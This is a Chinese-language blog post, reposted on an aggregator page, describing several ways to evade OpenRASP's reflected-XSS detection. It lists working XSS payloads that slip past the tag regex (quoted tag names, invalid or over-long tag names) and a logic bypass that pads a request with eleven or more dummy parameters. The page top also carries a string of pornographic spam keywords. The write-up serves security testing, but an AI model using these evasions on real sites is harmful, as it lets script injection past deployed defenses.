日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

OpenRASP xss算法的几种绕过方法

發布時間:2025/3/21 编程问答 16 豆豆
生活随笔 收集整理的這篇文章主要介紹了 OpenRASP xss算法的几种绕过方法 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

openrasp默認只能檢測反射型XSS,存儲型XSS僅IAST商業版支持。對于反射型xss,openrasp也只能檢測可控輸出點在html標簽外的情況,本文的繞過方法是針對這種情況。如果可控輸出點在html標簽內,如或 內部,openrasp幾乎檢測不到。

測試環境

【網安學習資料】

windows / tomcat / jdk1.8 / openrasp 1.3.7-beta

測試環境部署參見https://www.anquanke.com/post/id/241107,或者官網文檔。

在official.js中xss_userinput算法默認配置為ignore,修改為block來開啟攔截。此時點擊官方測試用例中下面鏈接,即可觸發openrasp攔截。

openrasp xss算法

openrasp xss算法有2種。算法1是針對PHP環境,此處不考慮。算法2是用戶輸入匹配算法,根據注釋說明,算法原理是”當用戶輸入長度超過15,匹配上標簽正則,且出現在響應里,直接攔截”。

標簽正則含義使用regexper網站解析如下

標簽正則從整體上來說匹配兩種情況,一是請求參數值中有子字符串以<! 開頭的;二是請求參數值中有子字符串以< 開頭的。對于第二種情況,標簽正則會匹配< 字符后接1到12個大小寫字母,再后接/ 或> 或0x00 - 0x20 字符的字符串。所以下面這些常見的xss測試payload都會攔截。

<script>alert(1)</script> // "<script>"部分匹配標簽正則 <img src=1 onerror=alert()> // "<img "部分匹配正則,空格符對應正則中0x20 <svg/onload=alert()> // "<svg/"部分匹配正則 <img src=1 onerror=alert()>觸發攔截

標簽正則繞過

【網安學習資料】

整理網上的一些xss 繞過payload,發現下面這些可以順利繞過標簽正則

<d3v/onmouseleave=[1].some(confirm)>click <d3/onmouseenter=[2].find(confirm)>z <d3"<"/onclick="1>[confirm``]"<">z <w="/x="y>"/ondblclick=`<`[confir\u006d``]>z

瀏覽器直接輸入上面那些xss payload會報400響應錯誤。對payload進行url編碼所有字符。

burpsuite repeater中右鍵”copy url”,復制url到瀏覽器中訪問,點擊即可觸發彈框。

[外鏈圖片轉存中…(img-d91Hx3yz-1626861607081)]

標簽后接單雙引號

【網安學習資料】

收集過程中還發現下面這兩種xss payload也可以繞過。

<a"/onclick=(confirm)()>click <a'/onclick=(confirm)()>click

簡單測了下其他標簽后接單引號或雙引號進行繞過,好像蠻多都行的。

<button onclick=alert()>12</button> // 攔截 <button' onclick=alert()>12</button> // 點擊彈框 <button" onclick=alert()>12</button> // 點擊彈框 <div onclick=alert()>12</div> // 攔截 <div' onclick=alert()>12</div> // 點擊彈框 <div" onclick=alert()>12</div> // 點擊彈框

例如,使用123<img’ src=1 οnclick=alert()>123 ,url編碼后,點擊也能彈框。

構造無效標簽

【網安學習資料】

這種也可以用于繞過openrasp。看到這種繞過方式,感覺前面的都不香了。

只要構造如下payload即可

<abc1 onclick=confirm()>click here // 標簽名是字母+數字

驗證如下

或者

<abcdefabcdefa onclick=confirm()>click here // 標簽名稱長度大于12

程序邏輯繞過

【網安學習資料】

還有一種繞過方法,是從程序檢測邏輯上進行繞過。

openrasp xss具體檢測代碼實現在這個文件中agent/java/engine/src/main/java/com/baidu/openrasp/plugin/checker/local/XssChecker.java。下面的一段代碼是對”當用戶輸入長度超過15,匹配上標簽正則,且出現在響應里,直接攔截”的具體實現。

但代碼中多了一處邏輯。如果請求會傳遞多個參數,當某個參數值長度大于15,且匹配之前的標簽正則<![-[A-Za-z]|<([A-Za-z]{1,12})[/\x00-\x20>] ,如果對應參數值沒有在響應中出現時,變量count值會加1。當count值大于10時,openrasp會直接放行。控制程序運行到上面圖片中第二個方框中即可產生繞過。

繞過演示

【網安學習資料】

此處為了查看payload內容方便,使用了post請求。如果轉換成get請求,并對參數值url編碼,效果一樣。

原始請求會觸發攔截

繞過payload。在input參數前面添加多個input[n]的參數,且參數值為其他xss payload。

轉換成get請求,并對payload進行編碼。

繞過payload分析

【網安學習資料】

構造的繞過payload有幾點要求。一是,虛構的請求參數理論上至少要有11個,如前面input0到input11請求參數。如果沒成功,最好在增加幾個請求參數。二是,虛構的請求參數名取值有些要求。三是,虛構的請求參數值不能與真實請求參數值相同。

因為這樣的話,input0到input11這些請求參數在parameterMap 中會排在input參數前面,見下圖。

這樣input0到input11這些參數就會優先input請求參數被openrasp檢測邏輯處理,從而擊中count > exceedLengthCount 的條件進行繞過。

【想學網絡安全的同學,上船啦】

總結

以上是生活随笔為你收集整理的OpenRASP xss算法的几种绕过方法的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。